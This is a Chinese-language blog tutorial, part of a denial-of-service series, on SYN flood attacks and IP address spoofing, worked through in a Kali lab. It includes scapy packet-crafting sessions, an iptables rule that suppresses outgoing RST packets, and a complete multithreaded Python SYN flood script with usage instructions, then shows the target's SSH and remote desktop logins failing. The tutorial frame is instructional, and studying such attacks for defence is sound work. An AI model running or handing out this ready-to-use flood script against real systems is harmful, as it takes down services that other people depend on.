美文网首页
二十八、拒绝服务--(2)SynFlood、IP地址欺骗

二十八、拒绝服务--(2)SynFlood、IP地址欺骗

作者: cybeyond | 来源:发表于2018-01-17 21:49 被阅读0次
                                目录

1、TCP三次握手
2、SynFlood攻击原理
3、synflood测试
4、IP地址欺骗

1、TCP三次握手

一个正常的tcp连接,需要进行三次握手,tcp连接实质上只是客户端和服务端的一种约定,如下图所示:


三次握手

2、SynFlood攻击原理

syn占用的tcp最大连接数,而不是占用cpu或者内存,是即使操作系统具有syn在等待n秒后断开的机制,但是flood攻击时,新空闲的连接又会被新的syn连接挤满。


syn攻击

3、synflood测试

实验环境:kali

#apt-get install python-gnuplot  //在kali打开scapy会报一些信息,如果再下次打开时不再出现,需安装此包

指定目标IP地址

>>> i=IP()
>>> i.dst="192.168.50.183"
>>> i.display()
###[ IP ]### 
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags= 
  frag= 0
  ttl= 64
  proto= hopopt
  chksum= None
  src= 192.168.50.115
  dst= 192.168.50.183
  \options\

指定TCP端口

>>> t=TCP()
>>> t.dport=22
>>> t.display()
###[ TCP ]### 
  sport= ftp_data
  dport= ssh
  seq= 0
  ack= 0
  dataofs= None
  reserved= 0
  flags= S
  window= 8192
  chksum= None
  urgptr= 0
  options= {}

发送数据包

>>> sr1(i/t,verbose=1,timeout=2)
Begin emission:
Finished to send 1 packets.

Received 2 packets, got 1 answers, remaining 0 packets
<IP  version=4L ihl=5L tos=0x0 len=44 id=0 flags=DF frag=0L ttl=64 proto=tcp chksum=0x5451 src=192.168.50.183 dst=192.168.50.115 options=[] |<TCP  sport=ssh dport=ftp_data seq=1747720139 ack=1 dataofs=6L reserved=0L flags=SA window=5840 chksum=0x1aa9 urgptr=0 options=[('MSS', 1460)] |<Padding  load='\x00\x00' |>>>

通过程序发送数据包,对端会返回一个syn+ack,但是操作系统在接收到此数据包时,并不认为是系统本身发送的(通过程序scapy发送),所以会返回一个RST:


抓包分析

这样就不会达到syn攻击的效果,因为攻击方主机已经主动的与被攻击方断开了,需要添加一条iptables策略,禁止发送rst

iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.50.183 -j DROP
查看iptables策略

再次发送一个数据包,可以看到服务器在等待并且要求重传,当超时后,丢弃此包。如果通过发送大量的数据包,则会造成synflood攻击。


image.png

准备工作完成之后,下面开始针对靶机做测试:

#!/usr/bin/python
# -*- coding: utf-8 -*- 

from scapy.all import * 
from time import sleep 
import thread 
import random 
import logging 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) != 4:
    print "用法: ./syn_flood.py [IP地址] [端口] [线程数]"   
    print "举例: ./syn_flood.py 1.1.1.1 80 20"     
    sys.exit()
    
target = str(sys.argv[1]) 
port = int(sys.argv[2]) 
threads = int(sys.argv[3])

print "正在执行 SYN flood 攻击. 按 Ctrl+C 停止攻击." 
def synflood(target,port):   
    while 0 == 0:
        x = random.randint(0,65535)      
        send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
        
for x in range(0,threads):   
    thread.start_new_thread(synflood, (target,port))
    
while 0 == 0:   
    sleep(1) 

添加执行权限chmod +x synflood.py后,开始执行,此脚本会一直循环发送200个连接,直至ctrl+c终止。

执行synflood攻击
在没有执行攻击之前,ssh登录192.168.50.183是很快的,一旦执行脚本,登录会超时。当然有时也能登录上去,是因为正好空闲的连接释放出来后,ssh登录使用此释放的连接。
ssh登录等待
netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'  //查看靶机的连接数
查看靶机连接
对于windows的可以在kali上使用rdesktop命令来远程连接,发送的连接数设置为10个就可以使windows xp无法连接,当然记得iptables策略。
windows系统默认半开连接数10个,像迅雷一些下载软件,在下载的时候,默认会修改最大的连接数

TCP断开握手

tcp断开握手
可参考synflood原理与防范

4、IP地址欺骗

  • 经常用于Dos攻击
  • 根据IP头地址寻址
    • 伪造IP源地址
  • 边界路由器过滤
    • 入站、出站
  • 受害者可能是源、目的地址
  • 绕过基于地址的验证
  • 压力测试模拟多用户
  • 上层协议(TCP序列号)

相关文章

  • DDoS攻击

    拒绝服务--(1)DoS简介 拒绝服务--(2)SynFlood、IP地址欺骗 拒绝服务--(3)Smurf攻击、...

  • 二十八、拒绝服务--(2)SynFlood、IP地址欺骗

    目录1、TCP三次握手2、SynFlood攻击原理3、synflood测试4、IP地址欺骗 1、TCP三次握手 一...

  • 网络协议认知

    1 ip地址 1.1 ip 地址的作用?ip 地址分类? ip 地址的作用:用来标识一个节点的网络地址。 2 / ...

  • LoadRunner-IP欺骗

    一、什么是IP欺骗 给你客户端的IP地址加个马甲,让服务器端识别不到是同一个IP地址发起的访问。 二、为什么要使用...

  • IOS逆向笔记汇总(备用)

    1.砸壳dumpdecrypted下载地址 1, ssh root@[设备ip] (iP地址为设备的iP地址) 2...

  • iOS逆向笔记汇总

    一.砸壳dumpdecrypted 1, ssh root@[设备ip] (iP地址为设备的iP地址)2, ps ...

  • (二)配置IP地址、本地yum源

    (一)设置IP地址: 1.查看当前ip: # ifconfig 2.配置ip地址: # cd/etc/syscon...

  • CentOS配置网络

    一、指令认识 1、ip指令 (1)查看ip地址 ip a*相当于运行ifconfig. (2)设置和删除ip地址 ...

  • 基础网络简介

    1.公共IP地址 2.私有IP地址 3.特殊地址 0.0.0.00.0.0.0不是一个真正意义上的IP地址。它表示...

  • windows——dos命令修改网络配置

    1、修改静态IP地址 2、修改静态dns地址 3、修改ip地址为动态ip 4、修改dns地址为自动获取 本文来自于...

网友评论

      本文标题:二十八、拒绝服务--(2)SynFlood、IP地址欺骗

      本文链接:https://www.haomeiwen.com/subject/tbqsoxtx.html